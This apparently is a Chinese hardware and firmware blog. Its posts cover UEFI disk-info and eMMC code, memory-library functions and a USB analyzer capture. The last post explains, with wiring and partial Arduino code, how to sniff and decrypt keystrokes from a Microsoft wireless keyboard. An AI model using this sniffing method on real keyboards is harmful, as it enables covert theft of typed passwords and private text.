Step to UEFI (105)DiskinfoProtocol

这次介绍一下用来取得系统上硬盘信息的 Protocol: EFI_DISK_INFO_PROTOCOL。

在\MdePkg\Include\Protocol\DiskInfo.h 有他的原型:

///
/// Forward declaration for EFI_DISK_INFO_PROTOCOL
///
typedef struct _EFI_DISK_INFO_PROTOCOL  EFI_DISK_INFO_PROTOCOL;
///
/// The EFI_DISK_INFO_PROTOCOL provides controller specific information.
///
struct _EFI_DISK_INFO_PROTOCOL {
  ///
  /// A GUID that defines the format of buffers for the other member functions 
  /// of this protocol.
  ///
  EFI_GUID                  Interface;
  ///
  /// Return the results of the Inquiry command to a drive in InquiryData. Data
  /// format of Inquiry data is defined by the Interface GUID.
  ///
  EFI_DISK_INFO_INQUIRY     Inquiry;
  ///
  /// Return the results of the Identify command to a drive in IdentifyData. Data
  /// format of Identify data is defined by the Interface GUID.
  ///
  EFI_DISK_INFO_IDENTIFY    Identify;
  ///
  /// Return the results of the Request Sense command to a drive in SenseData. Data
  /// format of Sense data is defined by the Interface GUID.
  ///
  EFI_DISK_INFO_SENSE_DATA  SenseData;
  ///
  /// Specific controller. 
  ///
  EFI_DISK_INFO_WHICH_IDE   WhichIde;
};

 

更详细的介绍可以在 PI Specification 1.4 上找到。
对于不同类型的设备,比如 IDE 和 USB ,返回的数据格式是不同的。枚举到这个 PROTOCOL 之后需要检查EFI_GUID Interface 通过不同的GUID得知当前设备的类型。
下面先编写一个简单的 Demo,检查 GUID ,判断当前设备的类型:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Protocol/DiskInfo.h>
#include  <Library/BaseMemoryLib.h>

extern EFI_BOOT_SERVICES         *gBS;

extern EFI_HANDLE				 gImageHandle;

EFI_GUID gEfiDiskInfoProtocolGuid = { 0xD432A67F, 0x14DC, 0x484B, 
					{ 0xB3, 0xBB, 0x3F, 0x02, 0x91, 0x84, 0x93, 0x27 }};

EFI_GUID gEfiDiskInfoIdeInterfaceGuid   = { 0x5E948FE3, 0x26D3, 0x42B5, 
					{ 0xAF, 0x17, 0x61, 0x02, 0x87, 0x18, 0x8D, 0xEC }};
EFI_GUID gEfiDiskInfoScsiInterfaceGuid  = { 0x08F74BAA, 0xEA36, 0x41D9, 
					{ 0x95, 0x21, 0x21, 0xA7, 0x0F, 0x87, 0x80, 0xBC }};
EFI_GUID gEfiDiskInfoUsbInterfaceGuid   = { 0xCB871572, 0xC11A, 0x47B5, 
					{ 0xB4, 0x92, 0x67, 0x5E, 0xAF, 0xA7, 0x77, 0x27 }};
EFI_GUID gEfiDiskInfoAhciInterfaceGuid  = { 0x9e498932, 0x4abc, 0x45af, 
					{ 0xa3, 0x4d, 0x02, 0x47, 0x78, 0x7b, 0xe7, 0xc6 }};
EFI_GUID gEfiDiskInfoNvmeInterfaceGuid  = { 0x3ab14680, 0x5d3f, 0x4a4d, 
					{ 0xbc, 0xdc, 0xcc, 0x38, 0x0, 0x18, 0xc7, 0xf7 }};
EFI_GUID gEfiDiskInfoUfsInterfaceGuid   = { 0x4b3029cc, 0x6b98, 0x47fb, 
					{ 0xbc, 0x96, 0x76, 0xdc, 0xb8, 0x4, 0x41, 0xf0 }};
int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
    EFI_STATUS Status;
    UINTN HandleIndex, NumHandles;
    EFI_HANDLE *ControllerHandle = NULL;
	EFI_DISK_INFO_PROTOCOL	*DiskInfoProtocol;
	
    Status = gBS->LocateHandleBuffer(
            ByProtocol,
            &gEfiDiskInfoProtocolGuid,
            NULL,
            &NumHandles,
            &ControllerHandle);
	
    for (HandleIndex = 0; HandleIndex < NumHandles; HandleIndex++) {
        Status = gBS->OpenProtocol(
                ControllerHandle[HandleIndex],
                &gEfiDiskInfoProtocolGuid, 
                (VOID**)&DiskInfoProtocol,
                gImageHandle,
                NULL,
                EFI_OPEN_PROTOCOL_GET_PROTOCOL
                );		
        if (EFI_ERROR(Status)) {
            continue;
        } 
		
		Print(L"Device[%d] GUID: %g",
				HandleIndex,
				DiskInfoProtocol->Interface);
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoIdeInterfaceGuid)) {	
				Print(L" IDE HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoScsiInterfaceGuid)) {	
				Print(L" Scsi HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoUsbInterfaceGuid)) {	
				Print(L" USB HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoAhciInterfaceGuid)) {	
				Print(L" AHCI HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoNvmeInterfaceGuid)) {	
				Print(L" NVME HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoUfsInterfaceGuid)) {	
				Print(L" Ufs HDD\n");
			}				
	}

  return EFI_SUCCESS;
}

 

上述代码在UDK2014中编译通过,但是无法在 NT32环境下运行。于是在实体机KabyLake HDK 上实验, 板子上挂载了一个 SATA HDD 一个eMMC和两个USB Disk。运行结果如下:

dit

可以看出,当前的SATA 是AHCI 模式。此外, eMMC 设备是无法被识别出来的,也许后面会扩展到这种设备吧。
完整的代码下载:

diskinfotest

Step to UEFI Tips :介绍 BaseMemoryLib

最近在写代码时,需要用到一些关于 GUID 处理的函数。偶然间看到了 BaseMemoryLib.h 中有一些,顺便整理了一下这个库提供的函数。完整的头文件在 \MdePkg\Include\Library\BaseMemoryLib.h .

 

CopyMem   内存拷贝函数

SetMem       用8Bit来进行内存填充

SetMem16用 16Bit来进行内存填充

SetMem32用 32Bit来进行内存填充

SetMem64用 64Bit来进行内存填充

SetMemN  用 UINTN 来进行内存填充(UINTN在IA32下和 X64下大小不同)

ZeroMem  对指定内存清零

CompareMem  比较内存函数

ScanMem8   在内存中搜索一个 8Bit的指定值

ScanMem16   在内存中搜索一个 16Bit的指定值

ScanMem32   在内存中搜索一个 32Bit的指定值

ScanMem64   在内存中搜索一个 64Bit的指定值

ScanMemN     在内存中搜索UINTN大小的指定值

CopyGuid       复制一个 GUID 到另外一个 GUID中

CompareGuid  比较2个 GUID

ScanGuid         在内存中搜索一个给定的 GUID

IsZeroGuid       检查一个 GUID是否为0

IsZeroBuffer     检查一段内存是否为为全0

 

 

 

好玩的电子设备(2)

这次介绍一下USB逻辑分析仪。USB协议是比较复杂的通讯协议,使用差分信号进行传输,速度很快,编码上采用 NRZI 【参考1】,这样导致根本无法使用示波器之类的进行Debug (速度快,数据多,一直在变化)。因此,要想知道线路上究竟跑了什么数据只能使用专用的逻辑分析仪进行分析。下面是 Lecroy 出品的 Advisor T3 型USB分析仪,可以进行USB 2.0/3.0 协议的分析(不支持 USB Type C ,  有专门额外的设备可以用来分析这个协议)。

下面是设备的正面,A口和B口分别连接在设备和主机上,对于USB HOST 和 Salve来说是透明的。

image001

这是背面的照片,捕获的数据会通过这个接口输出。这是一个2.0的接口,因为内部存储空间有限,这个设备不适合长期抓取大量的数据。

image002

下面尝试抓取 Arduino USB 串口(16U2)的数据,我们先编写一个简单的代码,一直向串口输出字符串:

 

void setup() {

  // put your setup code here, to run once:

   Serial.begin(9600);

}



void loop() {

  // put your main code here, to run repeatedly:

  Serial.println("www.lab-z.com");

  delay(5000);

}

 

启动工作机上的逻辑分析仪软件之后就可以开始抓取数据了,这是软件界面

image003

 

image004

抓取的过程是:

  1. 开始记录
  2. 插入 Arduino UNO
  3. 打开串口工具记录
  4. 从串口工具对 Arduino 发送数据

 

第一步:设置设备的地址,这里可以看到分配给 Arduino 的USB地址是 0x0F

image005

第二步:HOST要求设备送出 Device Descriptor

 

REQUEST SUMMARY

Setup Data 80 06 00 01 00 00 12 00
Direction Device-to-host
Type Standard
Recipient Device
bRequest GET_DESCRIPTOR
wValue DEVICE
wIndex 0x0000
wLength 0x0012

 

DECODING INFORMATION

 

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bRequest   8   8   GET_DESCRIPTOR   0x06   bRequest HexVal: 0x06
  wValue   16   16   DEVICE type   0x0100   Type of Descriptor
  wIndex   16   32   0x0000   0x0000   index info

DEVICE Descriptor

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   0    0x12   0x12   Descriptor size is 18 bytes
  bDescriptorType   8   8    0x01   0x01   DEVICE Descriptor Type
  bcdUSB   16   16    0x0110   0x0110   USB Specification version 1.10
  bDeviceClass   8   32    0x02   0x02   The device belongs to the Communication Device/Interface Class
  bDeviceSubClass   8   40    0x00   0x00   Subclass 0x00 not defined
  bDeviceProtocol   8   48    0x00   0x00   The device uses the No class specific protocol required Protocol
  bMaxPacketSize0   8   56    0x08   0x08   Maximum packet size for endpoint zero is 8
  idVendor   16   64    0x2341   0x2341   Vendor ID is 9025: No Company Matches Id
  idProduct   16   80    0x0043   0x0043   Product ID is 67
  bcdDevice   16   96    0x0001   0x0001   The device release number is 0.01
  iManufacturer   8   112    0x01   0x01   The manufacturer string descriptor index is 1
  iProduct   8   120    0x02   0x02   The product string descriptor index is 2
  iSerialNumber   8   128    0xDC   0xDC   The serial number string descriptor index is 220
  bNumConfigurations   8   136    0x01   0x01   The device has 1 possible configurations

 

第三步,上面的描述符提到这个设备有1个 Configuration Descriptor, 主机要求设备送出 Configuration Descriptor

image006

REQUEST SUMMARY

Setup Data 80 06 00 02 00 00 FF 00
Direction Device-to-host
Type Standard
Recipient Device
bRequest GET_DESCRIPTOR
wValue CONFIGURATION, Index 0
wIndex 0x0000
wLength 0x00FF

 

DECODING INFORMATION

 

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bRequest   8   8   GET_DESCRIPTOR   0x06   bRequest HexVal: 0x06
  wValue   16   16   CONFIGURATION type, Index 0   0x0200   Type of Descriptor
  wIndex   16   32   0x0000   0x0000   index info

CONFIGURATION Descriptor (9 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   0    0x09   0x09   Descriptor size is 9 bytes
  bDescriptorType   8   8    0x02   0x02   CONFIGURATION Descriptor Type
  wTotalLength   16   16    0x003E   0x003E   The total length of data for this configuration is 62. This includes the combined length of all the descriptors returned Warning : The Value of wTotalLength is not equal to real length
  bNumInterfaces   8   32    0x02   0x02   This configuration supports 2 interfaces
  bConfigurationValue   8   40    0x01   0x01   The value 1 should be used to select this configuration
  iConfiguration   8   48    0x00   0x00   The device doesn’t have the string descriptor describing this configuration
  bmAttributes   8   56    0xC0   0xC0   Configuration characteristics : Bit 7: Reserved (set to one) 1 Bit 6: Self-powered 1 Bit 5: Remote Wakeup 0
  bMaxPower   8   64    0x32   0x32   Maximum power consumption of the device in this configuration is 100 mA

INTERFACE Descriptor (9 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   72    0x09   0x09   Descriptor size is 9 bytes
  bDescriptorType   8   80    0x04   0x04   INTERFACE Descriptor Type
  bInterfaceNumber   8   88    0x00   0x00   The number of this interface is 0.
  bAlternateSetting   8   96    0x00   0x00   The value used to select the alternate setting for this interface is 0
  bNumEndpoints   8   104    0x01   0x01   The number of endpoints used by this interface is 1 (excluding endpoint zero)
  bInterfaceClass   8   112    0x02   0x02   The interface implements the Communication Device/Interface class
  bInterfaceSubClass   8   120    0x02   0x02   The interface implements the Abstract Control Model Subclass
  bInterfaceProtocol   8   128    0x01   0x01   The interface uses the Common AT commands Protocol
  iInterface   8   136    0x00   0x00   The device doesn’t have a string descriptor describing this iInterface

Communication Class Specific INTERFACE Descriptor (5 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength….   8   144    0x05   0x05   Size of the descriptor, in bytes
  bDescriptorType   8   152    0x24   0x24   CS_INTERFACE Descriptor Type
  bDescriptorSubType   8   160    0x00   0x00   Header Funtional Descriptor Subtype
  bcdCDC   16   168    0x1001   0x1001   USB Class Definitions for Communications the Communication specification version 10.01

Communication Class Specific INTERFACE Descriptor (4 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength….   8   184    0x04   0x04   Size of the descriptor, in bytes
  bDescriptorType   8   192    0x24   0x24   CS_INTERFACE Descriptor Type
  bDescriptorSubType   8   200    0x02   0x02   Abstract Control Management Functional Descriptor Subtype
  bmCapabilities   8   208    0x06   0x06 Bit 0: Whether device supports the request combination of Set_Comm_Feature, Clear_Comm_Feature, and Get_Comm_Feature 0
Bit 1: Whether device supports the request combination of Set_Line_Coding, Set_Control_Line_State, Get_Line_Coding, and the notification Serial_State 1
Bit

Communication Class Specific INTERFACE Descriptor (5 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength….   8   216    0x05   0x05   Size of the descriptor, in bytes
  bDescriptorType   8   224    0x24   0x24   CS_INTERFACE Descriptor Type
  bDescriptorSubType   8   232    0x06   0x06   Union Functional Descriptor Subtype
  bControlInterface   8   240    0x00   0x00   The interface number of the Communications or Data Class interface
  bSubordinateInterface0   8   248    0x01   0x01   Interface number of subordinate interface in the Union

ENDPOINT Descriptor (7 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   256    0x07   0x07   Descriptor size is 7 bytes
  bDescriptorType   8   264    0x05   0x05   ENDPOINT Descriptor Type
  bEndpointAddress   8   272    0x82   0x82   This is an IN endpoint with endpoint number 2
  bmAttributes   8   280    0x03   0x03   Types –
Transfer: INTERRUPT
Low Power: No
Pkt Size Adjust: No
  wMaxPacketSize   16   288    0x0008   0x0008   Maximum packet size for this endpoint is 8 Bytes. If Hi-Speed, 0 additional transactions per frame
  bInterval   8   304    0xFF   0xFF   The polling interval value is every 255 Frames. Undefined for Hi-Speed

INTERFACE Descriptor (9 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   312    0x09   0x09   Descriptor size is 9 bytes
  bDescriptorType   8   320    0x04   0x04   INTERFACE Descriptor Type
  bInterfaceNumber   8   328    0x01   0x01   The number of this interface is 1.
  bAlternateSetting   8   336    0x00   0x00   The value used to select the alternate setting for this interface is 0
  bNumEndpoints   8   344    0x02   0x02   The number of endpoints used by this interface is 2 (excluding endpoint zero)
  bInterfaceClass   8   352    0x0A   0x0A   The interface implements the Data Interface class
  bInterfaceProtocol   8   368    0x00   0x00   The interface uses the No class specific protocol required Protocol
  bInterfaceSubClass   8   360    0x00   0x00   The Subclass code is 0
  iInterface   8   376    0x00   0x00   The device doesn’t have a string descriptor describing this iInterface

ENDPOINT Descriptor (7 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   384    0x07   0x07   Descriptor size is 7 bytes
  bDescriptorType   8   392    0x05   0x05   ENDPOINT Descriptor Type
  bEndpointAddress   8   400    0x04   0x04   This is an OUT endpoint with endpoint number 4
  bmAttributes   8   408    0x02   0x02   Types –
Transfer: BULK
Pkt Size Adjust: No
  wMaxPacketSize   16   416    0x0040   0x0040   Maximum packet size for this endpoint is 64 Bytes. If Hi-Speed, 0 additional transactions per frame
  bInterval   8   432    0x01   0x01   The polling interval value is every 1 Frames. If Hi-Speed, 1 uFrames/NAK

ENDPOINT Descriptor (7 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   440    0x07   0x07   Descriptor size is 7 bytes
  bDescriptorType   8   448    0x05   0x05   ENDPOINT Descriptor Type
  bEndpointAddress   8   456    0x83   0x83   This is an IN endpoint with endpoint number 3
  bmAttributes   8   464    0x02   0x02   Types –
Transfer: BULK
Pkt Size Adjust: No
  wMaxPacketSize   16   472    0x0040   0x0040   Maximum packet size for this endpoint is 64 Bytes. If Hi-Speed, 0 additional transactions per frame
  bInterval   8   488    0x01   0x01   The polling interval value is every 1 Frames. If Hi-Speed, every 1 uFrames

 

第五步,主机请求 String Descriptor

image007

我不熟悉USB CDC 协议,因此上面只能做一个简单的使用实例。

最后,多说两句:这款分析仪的价格在 20万人民币,个人基本上不用考虑购买一个玩玩儿了。此外,近两年有一些国产的逻辑分析仪,价格只有国外的十分之一,但是我没有实验过。期待随着时间的推移,国产分析设备有所长进,甚至有一天能够对 USB协议产生影响。大多数情况下,USB设备的调试还是依靠Slave Device 本身的Debug 输出(比如:Uart),普通开发者也不会遇到传输上面的问题。

参考:

  1. http://baike.baidu.com/view/1367029.htm NRZ-I编码

Step to UEFI (104)eMMC in the Shell

eMMC 应用在平板电脑上已经有一段时间了,本文给出了一个取得 eMMC CID 的例子。当然,你在其他资料上还会发现一些类似 MMC_INFO 之类的Protocol,但是根据我的实验,目前大多数系统只支持SD HOST IO 这一个 Protocol。此外,强烈建议一定在实体机上进行实验,避免出现费了很大力气编写代码,但是实际上第一步就无法完成的问题。
原理介绍:首先查找系统中的 SD_HOST_IO 的Protocol .目前看起来系统中只有一个这样的 Protocol ,所以我们用 LocateProtocol 就足够了。取得之后,通过这个 Protocol,对 eMMC 发送command。这个做法和 ATA 设备的 PassThrough Protocol很像。下面的代码是取得CID信息的,CID是用来识别eMMC一些基本信息的寄存器,比如 Serial Number,具体定义在 eMMC Specification中可以找到【参考1】 。
“8.2 CID register
The Card IDentification (CID) register is 128 bits wide. It contains the card identification information used during the card identification phase (MultiMediaCard protocol). Every individual flash or I/O card shall have an unique identification number. Every type of MultiMediaCard ROM cards (defined by content) shall have an unique identification number. Table 41 on page 112 lists these identifiers.The structure of the CID register is defined in the following sections”
image001

代码:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include <Library/MemoryAllocationLib.h>
#include  <Protocol/BlockIo.h>

#include "SDHostIo.h"
#include "mmc.h"


EFI_GUID gEfiSdHostIoProtocolGuid = { 0xb63f8ec7, 0xa9c9, 0x4472, 
					{0xa4, 0xc0, 0x4d, 0x8b, 0xf3, 0x65, 0xcc, 0x51}};
 
//
// Command timeout will be max 100 ms 
//
#define  TIMEOUT_COMMAND     100

extern EFI_BOOT_SERVICES         *gBS;

EFI_STATUS
SendCommand (
  IN   EFI_SD_HOST_IO_PROTOCOL    *This,
  IN   UINT16                     CommandIndex,
  IN   UINT32                     Argument,
  IN   TRANSFER_TYPE              DataType,
  IN   UINT8                      *Buffer, OPTIONAL
  IN   UINT32                     BufferSize,    
  IN   RESPONSE_TYPE              ResponseType,
  IN   UINT32                     TimeOut,  
  OUT  UINT32                     *ResponseData
  )
/*++

  Routine Description:
    Send command by using Host IO protocol
  
  Arguments:
    This           - Pointer to EFI_SD_HOST_IO_PROTOCOL
    CommandIndex   - The command index to set the command index field of command register
    Argument       - Command argument to set the argument field of command register
    DataType       - TRANSFER_TYPE, indicates no data, data in or data out
    Buffer         - Contains the data read from / write to the device
    BufferSize     - The size of the buffer
    ResponseType   - RESPONSE_TYPE
    TimeOut        - Time out value in 1 ms unit
    ResponseData   - Depending on the ResponseType, such as CSD or card status

  Returns:  
    EFI_INVALID_PARAMETER
    EFI_UNSUPPORTED
    EFI_DEVICE_ERROR
    EFI_SUCCESS
 --*/   
{

  EFI_STATUS    Status;

  Status = This->SendCommand (
           This,
           CommandIndex,
           Argument,
           DataType,
           Buffer,
           BufferSize,
           ResponseType,
           TimeOut,
           ResponseData
           );
  if (!EFI_ERROR (Status)) {
    if (ResponseType == ResponseR1 || ResponseType == ResponseR1b) {
      //ASSERT(ResponseData != NULL);
	  Print(L"Error with code [%d]",(*ResponseData));
    }
  } else {
    This->ResetSdHost (This, Reset_DAT_CMD);
  }

  return Status;
}

int
EFIAPI
main (
  IN UINT32 Argc,
  IN CHAR16 **Argv
  )
{
	EFI_SD_HOST_IO_PROTOCOL   *SdHostIo;
	EFI_STATUS 		Status;	
	CID             CIDReg;
    OCR             OCRReg;
	UINT32          TimeOut=5000;
	
	Status = gBS->LocateProtocol (       
                  &gEfiSdHostIoProtocolGuid,
                  NULL,
                  &SdHostIo
                  );
	if (EFI_ERROR (Status)) {
		Print(L"No SdHost driver, Application is exiting!\n");
		return Status;
	}  	

    SdHostIo->EnableAutoStopCmd (SdHostIo, TRUE);
    SdHostIo->SetupDevice (SdHostIo);

    //
    // Go to Idle
    //
	SendCommand (
                SdHostIo,
                GO_IDLE_STATE,
                0,
                NoData,
                NULL,
                0,  
                ResponseNo,
                TIMEOUT_COMMAND,
                NULL
            );

    gBS->Stall (100 * 1000);

    //
    // Check voltage support, first time we use 0x40FF8080
    //
    SendCommand (
                SdHostIo,
				SEND_OP_COND,
                0x40FF8080,
                NoData,
                NULL,
                0,  
                ResponseR3,
                TIMEOUT_COMMAND,
                (UINT32*)&(OCRReg)
            );

    while (OCRReg.Busy != 1) {
		OCRReg.AccessMode = 0x02; // sector mode;
		SendCommand (
				  SdHostIo,
                  SEND_OP_COND,
                  *(UINT32*)&(OCRReg),
                  NoData,
                  NULL,
                  0,  
                  ResponseR3,
                  TIMEOUT_COMMAND,
                  (UINT32*)&(OCRReg)
                  );
						  
        gBS->Stall(100);

        TimeOut--;
        if (TimeOut == 0) {
            Print(L"Card is always busy\n");
            Status = EFI_TIMEOUT;
            goto Exit;
        } 
    } 

	SendCommand(
          SdHostIo,
          ALL_SEND_CID,
		0,
          NoData,
          NULL,
          0,  
          ResponseR2,
          TIMEOUT_COMMAND,
          (UINT32*)&(CIDReg)
          );
  
    Print (L" Product serial number      : %X\n",CIDReg.PSN);
    Print (L" Product revision           : %X\n",CIDReg.PRV);	
    Print (L" Product name               : %c%c%c%c%c%c\n",
								CIDReg.PNM[0],
								CIDReg.PNM[1],
								CIDReg.PNM[2],
								CIDReg.PNM[3],
								CIDReg.PNM[4],
								CIDReg.PNM[5]);
    Print (L" Manufacturer ID            : %X\n",CIDReg.MID);	
	
Exit:	
	return EFI_SUCCESS;
}

在kabyLake HDK 上运行结果:
image002

完整代码下载,其中还有代码生成的EFI程序,是 X64的。
getemmc

本文使用的头文件都是来自新版的 EDK2(比 UDK2015要新一些,我觉得UDK2017有可能会正式加入吧)【参考2】,有兴趣的读者可以自行查阅。
最后,既然有了CID,那么还可以读取一些关于 eMMC的其他信息,比如容量。请读者自己尝试完成。
最后的最后,推荐 Lenovo 出品的一款擦除 eMMC的工具,在 Shell 下运行,可以很快擦掉全部内容(应该使用 eMMC 的 Command 直接Erase的,所以能够达到很快的速度)。
gufd01ww

参考:
1. http://www.jedec.org/standards-documents/results/jesd84-b51 JESD84-A44.pdf
2. https://github.com/tianocore/edk2
3. http://support.lenovo.com/us/en/downloads/ds100934

监听微软键盘

微软推出过一款无线键盘鼠标套装,型号是;Microsoft Wireless Keyboard/Mouse 800。这套键鼠具有反应灵敏,手感细腻,价格适中等等优点,美中不足的是它使用2.4G进行通讯,协议已经被人攻破,可以使用很低的成本搭建一套监听的设备。本文就将介绍如何使用不到5元的 nRF24L01模块加一块Arduino Uno搭建一窃听装置。
image001
本文是根据github 上SamyKamkar 的keysweeper项目写成。代码和实物只是很小的一部分,最重要的是原理。
首先,微软的这个套装键盘使用的是NRF 24LE1H芯片,简单的可以理解成一个单片机加上nRF41L01 模块,这就给我们以可乘之机;
image002
键盘使用的模块通讯方式和最常见的nRF41L01+模块相同,因此这就是整个项目的硬件基础。
image003
使用nRF41L01+模块通讯,有下面几个要求:
1. 通讯速率
2. 使用的频道(也就是频率)
3. 通讯双方的MAC地址
对于1来说,微软键盘只使用2MBps;对于2来说,是通过扫描频率范围来确定的。键盘标签上给出来它在FCC申请注册过的频段是 2403-2480Mhz,我们只需要在这个范围内每隔1MHz扫描即可。因为我们的目标只是监听,键盘作为发射端的MAC不重要,我们只需要知道接收器的MAC即可。当然,这里也是这个项目的技巧和难点所在。
首先说说键盘和接收器的通信格式:
image004

最开始的Preamble,翻译成中文就是“前导码”,是由间隔的0 1构成的一字节,也就是说只能是0x55(0b0101 0101)或者0xAA(0b1010 1010),通讯时通过解析这个可以知道每个bit的长度之类等等信息;前导码后面的Address就是MAC,芯片根据这个信息可以确定是否是发给它的。比如,每一个PC上使用的网卡都会有世界唯一的MAC,当有数据包送到网口,网卡本身通过解析数据包中的MAC得知是否是发送给自己的数据。更通俗的理解,在嘈杂的空间两个人对话,最好的办法是这样喊“老张,XXX”。需要听老张讲话的人听到“老张”,即可留心下面的内容,“老张”就是接收端的MAC。
在nRF41L01+芯片上,有这样的限制:只能监听特定的MAC地址。意思是:你需要设定芯片“听”的具体MAC,它才能把对应的数据传出来。如果你不告诉它接收器的MAC,它是不会对键盘发出来的数据包有响应;经过研究,SamyKamkar 发现了一个有意思的事情,在设置nRF41L01+ 监听MAC的寄存器中,有一个设置监听MAC长度的寄存器(为了灵活,nRF41L01+可以设置不同长度的MAC):
image005
参考2
从上面可以看出,这个芯片能相应的最短的MAC是 3 字节 。但是,根据其他人的实验,如果这里参数设置为 00 实际上是在监听 2字节的 MAC地址。换句话说,如果知道键盘发送的数据包上出现的2个字节的数据,我们就有机会把完整的数据监听下来。其他人继续研究(他们有监听2.4G无线抓包的设备),又发现微软这个键盘MAC最高位是 1 。这样键盘一定会使用 0xAA作为前导码(因为如果使用 0x55有可能和MAC最高的1“粘”在一起,所以只能使用0xAA)。这样,我们知道发送的数据肯定还有一个 0xAA了。还差一个才能凑够2个字节。这时候就有很有意思的事情了:当实际上没有人对芯片“讲话”的时候,芯片还是在工作的,很多时候它会听到0x00或者0xFF。于是,我们可以欺骗IC,让他“听” 0x00AA。芯片一直在接受,它会不断校验“听到”的结果,过滤掉不正确的结果。判断正确与否的方法是CRC,我们关掉这个校验,芯片就会通知我们所有的它听到的信息,我们再校验听到的MAC最低Byte是否为 0xCD(研究发现这个系列的键盘MAC最低Byte位0xCD),也就能知道告诉我们的那些信息是真实有效的。
使用这样欺骗的方法,能够获得真实的接收器的MAC。有了MAC就可以光明正大的监听键盘的通讯了。
对于抓到的键盘数据是有加密的,只是方法非常简单,使用MAC进行XOR运算。
image006
解析解密之后的HID数据,最终我们就可以得到按下信息。
• 设备类型 0x0A = 键盘, 0x08 = 鼠标
• 数据包 0x78 = 按键, 0x38 = 长按
上面就是这个监听装置的原理,硬件连接如下:
image007
nRF24L01+ Arduino Uno
GND GND
VCC 3.3V
CE D9
CSN D8
SCK D13
MOSI D11
MISO D12
IRQ (空)

连接好之后即可使用

根据上面提到的原理编写程序如下:
#include
#define SERIAL_DEBUG 1
#include “nRF24L01.h”
#include “RF24.h”
#include “mhid.h”

#include

// location in atmega eeprom to store last flash write address
#define E_LAST_CHAN 0x05 // 1 byte

// pins on the microcontroller
#define CE 9
#define CSN 8 // normally 10 but SPI flash uses 10

#define csn(a) digitalWrite(CSN, a)
#define ce(a) digitalWrite(CE, a)
#define PKT_SIZE 16
#define MS_PER_SCAN 500

//If you just output the string, please use these to save memory
#define sp(a) Serial.print(F(a))
#define spl(a) Serial.println(F(a))

// Serial baudrate
#define BAUDRATE 115200

// all MS keyboard macs appear to begin with 0xCD [we store in LSB]
uint64_t kbPipe = 0xAALL; // will change, but we use 0xAA to sniff
uint8_t cksum_key_offset = ~(kbPipe >> 8 & 0xFF);

uint8_t channel = 25; // [between 3 and 80]
RF24 radio(CE, CSN);

uint16_t lastSeq = 0;

uint8_t n(uint8_t reg, uint8_t value)
{
uint8_t status;

csn(LOW);
status = SPI.transfer( W_REGISTER | ( REGISTER_MASK & reg ) );
SPI.transfer(value);
csn(HIGH);
return status;
}

// 扫描微软键盘 scans for microsoft keyboards
// 通过下面的方法来加速搜索 we reduce the complexity for scanning by a few methods:
// a) 根据 FCC 认证文件,键盘使用频率是2403-2480MHz
// b) 已知微软键盘使用2Mbps速率通讯
// c) 实验确定这个型号的键盘 MAC第一位是0xCD
// d) 因为键盘的 MAC 以 C (1100)起始,所以前导码应该是 0xAA[10101010],这样我们就不用扫描前导码是0x55的了。【参考1】
// e) 数据区会以 0x0A38/0x0A78 开头,这样我们可以确定这个设备是键盘

void scan()
{
long time;
uint8_t p[PKT_SIZE];
uint16_t wait = 10000;

spl(“scan”);

// FCC 文档说明这款键盘使用 2403-2480MHz 的频率
// http://fccid.net/number.php?fcc=C3K1455&id=451957#axzz3N5dLDG9C
// 读取之前我们存在 EEPROM 中的频率
channel = EEPROM.read(E_LAST_CHAN);

radio.setAutoAck(false); //不需要自动应答
radio.setPALevel(RF24_PA_MIN); //低功耗足够了
radio.setDataRate(RF24_2MBPS); //工作在 2mbps
radio.setPayloadSize(32); //数据长度
radio.setChannel(channel); //通道(频率)

n(0x02, 0x00);
//
//设置 MAC 只有2Bytes
n(0x03, 0x00);

radio.openReadingPipe(0, kbPipe);//使用0通道,监听 image008kbPipe 给出的MAC
radio.disableCRC(); //不使用 CRC
radio.startListening();

//开始扫描
while (1)
{
if (channel > 80) //如果超过最大频率范围
channel = 3; //那么绕回从 2403Mhz 再来

sp(“Tuning to “);
Serial.println(2400 + channel);
radio.setChannel(channel++);

time = millis();
